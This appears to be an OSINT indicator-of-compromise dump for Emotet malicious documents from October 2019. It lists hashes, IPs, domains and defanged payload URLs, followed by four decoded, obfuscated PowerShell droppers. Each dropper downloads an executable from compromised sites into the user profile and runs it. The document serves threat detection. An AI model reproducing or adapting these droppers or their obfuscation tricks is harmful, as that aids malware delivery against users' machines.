Emotet_Doc_out_2019-10-16_03_08.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
374a17b2c194aa09865e743232c73d01
1011e8d72641f82bd0aaa224495bb52a
7e9ea1f3af0820236e7adbc08aaa94d2
b72ad589b9ec7fc074a7b46a9dacab80
67fb83b135cca5fe8758a56f7a27d142
6fdfe94c1a363c2b0fff3a9a2ae9482f
cba7a3314890b227872cbe445cd87253
e4ea29f6611653845e02753cc3832934
431b6867e3928182f1d043809aa9329d
58e72e92c28510a3b6ca8f7aa3df90ca
355467ad3de2f7ff4c5cb3a8800817bd
b3af95db41703055d0a513a5e81c3de3


IPs:
104.18.61.46
104.199.245.51
108.58.41.242
119.28.5.109
134.0.10.197
144.91.70.17
148.163.124.17
149.202.138.56
160.153.61.34
165.22.213.46
167.114.209.75
176.53.35.102
202.181.97.25
31.47.73.71
42.112.30.35
45.173.1.154
62.129.201.213
74.208.236.58
78.46.19.174
89.46.109.23


Domains:
blog.yst.global
codedriveinfo.com
drapart.org
kikinet.jp
kyokushinmiddleeast.com
learntech2earn.com
mokhoafacebookvn.com
nazmulchowdhury.xyz
newgensolutions.net
nuhoangsexy.net
pbcenter.home.pl
proxectomascaras.com
shakerianpaper.com
sodadino.com
tamakoshisanchar.com
www.bergamaegesondaj.com
www.cmalamiere.com
www.organizersondemand.com
www.turbodisel.net
yourgpshelper.com


URLs:
hxxps://www.microsoft.com/ #> $FAUQcQUcZADk=
hxxp://nazmulchowdhury.xyz/wp-admin/436n7t4/
hxxp://www.cmalamiere.com/wp-admin/ta04mn49702/
hxxp://nuhoangsexy.net/cgi-bin/a8hfqc0/
hxxp://shakerianpaper.com/wp-includes/rfl396/
hxxps://learntech2earn.com/learntech2earn.com/7vsva2359/
hxxps://www.microsoft.com/ #> $N_o_AZDU=
hxxp://drapart.org/Prensa/wn/
hxxp://kikinet.jp/ds/b54LWnii45/
hxxp://pbcenter.home.pl/pbc/ib3k/
hxxps://proxectomascaras.com/wp-admin/FUCPOXyKQU/
hxxp://blog.yst.global/wp-content/languages/2jlffy/
hxxps://www.microsoft.com/ #> $ODDBAGQA4A1AA=
hxxps://yourgpshelper.com/wp-admin/vh6228400/
hxxps://kyokushinmiddleeast.com/wp-content/d4hobs889/
hxxps://tamakoshisanchar.com/hthz91/k6ilycx353/
hxxp://www.bergamaegesondaj.com/1t20111y63/ic5501/
hxxps://www.organizersondemand.com/cgi-bin/6vtd7304/
hxxps://www.microsoft.com/ #> $WAAA4AAA=
hxxps://mokhoafacebookvn.com/wp-content/themes/lalita/Kj6VMJsiof/
hxxp://newgensolutions.net/joomla_30/n0k0/
hxxps://sodadino.com/wp-admin/gczk/
hxxp://www.turbodisel.net/wp-content/8AsE/
hxxps://codedriveinfo.com/RasilaKitchen/rUJtk/


Decoded Base64 Powershell:
<# hxxps://www.microsoft.com/ #> $FAUQcQUcZADk='ZGcCAkAAABXUA';
$EAXCBZUU = '55';
$UAQQwBoUADD4='VxB1CoZAA';
$LA4CxAA4x=$env:userprofile+'\'+$EAXCBZUU+'.exe';
$KkADAAD1A_DDG='UBAUQX1DAA';
$KAAkxAAoAZ=&('ne'+'w-obj'+'ect') NET.webClIent;
$T_cQAAAAA='hxxp://nazmulchowdhury.xyz/wp-admin/436n7t4/
hxxp://www.cmalamiere.com/wp-admin/ta04mn49702/
hxxp://nuhoangsexy.net/cgi-bin/a8hfqc0/
hxxp://shakerianpaper.com/wp-includes/rfl396/
hxxps://learntech2earn.com/learntech2earn.com/7vsva2359/'."S`Plit"('
');
$CQwACAABAA='Ox1QAAAo4QkC';
foreach($XUAAAA_CcwAXA in $T_cQAAAAA){try{$KAAkxAAoAZ."dOWN`LOa`dFi`LE"($XUAAAA_CcwAXA, $LA4CxAA4x);
$YGkQUXkAAQZ='IxBcxQkk';
If ((.('Get-'+'It'+'em') $LA4CxAA4x)."lEN`G`Th" -ge 35072) {[Diagnostics.Process]::"ST`ArT"($LA4CxAA4x);
$OxZAoBG1QA='SAABGwQQ1GBAo';
break;
$CAAZXQ4wDUo='WXDBwAkDUGAA'}}catch{}}$FoAXUkAB='VoXkAcAAQD'<# hxxps://www.microsoft.com/ #> $N_o_AZDU='McB_C4AkX';
$ZD1AAAAA4ZAAo = '723';
$ZXBAXAwG='VQAxXo1Z4GB4';
$KABGAZoAZAA=$env:userprofile+'\'+$ZD1AAAAA4ZAAo+'.exe';
$UcGABAUCU='RAAABAABQA';
$JAADxABADUQcD=.('new'+'-o'+'bject') NeT.WEbclienT;
$OAAABckZA='hxxp://drapart.org/Prensa/wn/
hxxp://kikinet.jp/ds/b54LWnii45/
hxxp://pbcenter.home.pl/pbc/ib3k/
hxxps://proxectomascaras.com/wp-admin/FUCPOXyKQU/
hxxp://blog.yst.global/wp-content/languages/2jlffy/'."spL`It"('
');
$XU_AUkG4UA1='DABCxoABB';
foreach($QGAXU__o_A in $OAAABckZA){try{$JAADxABADUQcD."d`o`wNLOA`dfIlE"($QGAXU__o_A, $KABGAZoAZAA);
$WAAQZxckxUQQD='WxQDw4ADABwAA';
If ((.('Ge'+'t-Item') $KABGAZoAZAA)."LENg`TH" -ge 25679) {[Diagnostics.Process]::"STA`RT"($KABGAZoAZAA);
$IAZCQDAD='EkADA_CxxA';
break;
$HAQD4U1UAB='L4Bx_QoUUQ'}}catch{}}$HDAAGUAGw='EU___QcXAAU'<# hxxps://www.microsoft.com/ #> $ODDBAGQA4A1AA='AwABCxAGGA';
$BAAXU_xw1 = '506';
$WA4AAACBD_BQ='UkAD1wc_';
$UDUc_AA1A_A1=$env:userprofile+'\'+$BAAXU_xw1+'.exe';
$TCAZAGUA='JC_AAUxBAQBQ';
$RxUAA4UwQAAAw=.('ne'+'w-ob'+'ject') NEt.WEbClIENT;
$CAZ1U4ABG_AAA='hxxps://yourgpshelper.com/wp-admin/vh6228400/
hxxps://kyokushinmiddleeast.com/wp-content/d4hobs889/
hxxps://tamakoshisanchar.com/hthz91/k6ilycx353/
hxxp://www.bergamaegesondaj.com/1t20111y63/ic5501/
hxxps://www.organizersondemand.com/cgi-bin/6vtd7304/'."spL`iT"('
');
$GQCDXwQUBQABk='SAABAGoGZA';
foreach($Yxx1_BAwAAA in $CAZ1U4ABG_AAA){try{$RxUAA4UwQAAAw."D`oWNl`OadFi`LE"($Yxx1_BAwAAA, $UDUc_AA1A_A1);
$KBAZCQcAo='NcccDACA';
If ((&('Get-I'+'te'+'m') $UDUc_AA1A_A1)."l`Eng`TH" -ge 25366) {[Diagnostics.Process]::"S`TaRt"($UDUc_AA1A_A1);
$YUAwU1Do='HxUBAADAA';
break;
$Zx1BAUQABkA='XAAUAUoc1'}}catch{}}$Z4U1oBUkU='R_Ac44AoDGDkG'<# hxxps://www.microsoft.com/ #> $WAAA4AAA='NXXCAAwACwxGA';
$GQoAXCQA4Ao = '48';
$NAAkZBDQAAA='UGBXBDwxcDB';
$OAAUABQBAAkZ=$env:userprofile+'\'+$GQoAXCQA4Ao+'.exe';
$XCAXxkDAwoCC='DAxAccUXQXZ4';
$WwGBXoUA=&('n'+'ew-o'+'bject') net.weBClIenT;
$VGAGAXC1ADwA='hxxps://mokhoafacebookvn.com/wp-content/themes/lalita/Kj6VMJsiof/
hxxp://newgensolutions.net/joomla_30/n0k0/
hxxps://sodadino.com/wp-admin/gczk/
hxxp://www.turbodisel.net/wp-content/8AsE/
hxxps://codedriveinfo.com/RasilaKitchen/rUJtk/'."Sp`lIt"('
');
$NQowQAAkU='Bo_QAAwAGk';
foreach($A_1A_A4CwAoA in $VGAGAXC1ADwA){try{$WwGBXoUA."dOWn`lOa`d`FILE"($A_1A_A4CwAoA, $OAAUABQBAAkZ);
$Q4UAUUoUUAABU='E4AcU1ACDAAA';
If ((&('G'+'et-Ite'+'m') $OAAUABQBAAkZ)."Len`gTh" -ge 25653) {[Diagnostics.Process]::"st`ARt"($OAAUABQBAAkZ);
$ADABAAUZw='Ax4AABQXxAAko';
break;
$Q1UDA4UwA='DAAAkQAoAAA'}}catch{}}$UCDADDcx='ADkkDAAQXGAAA'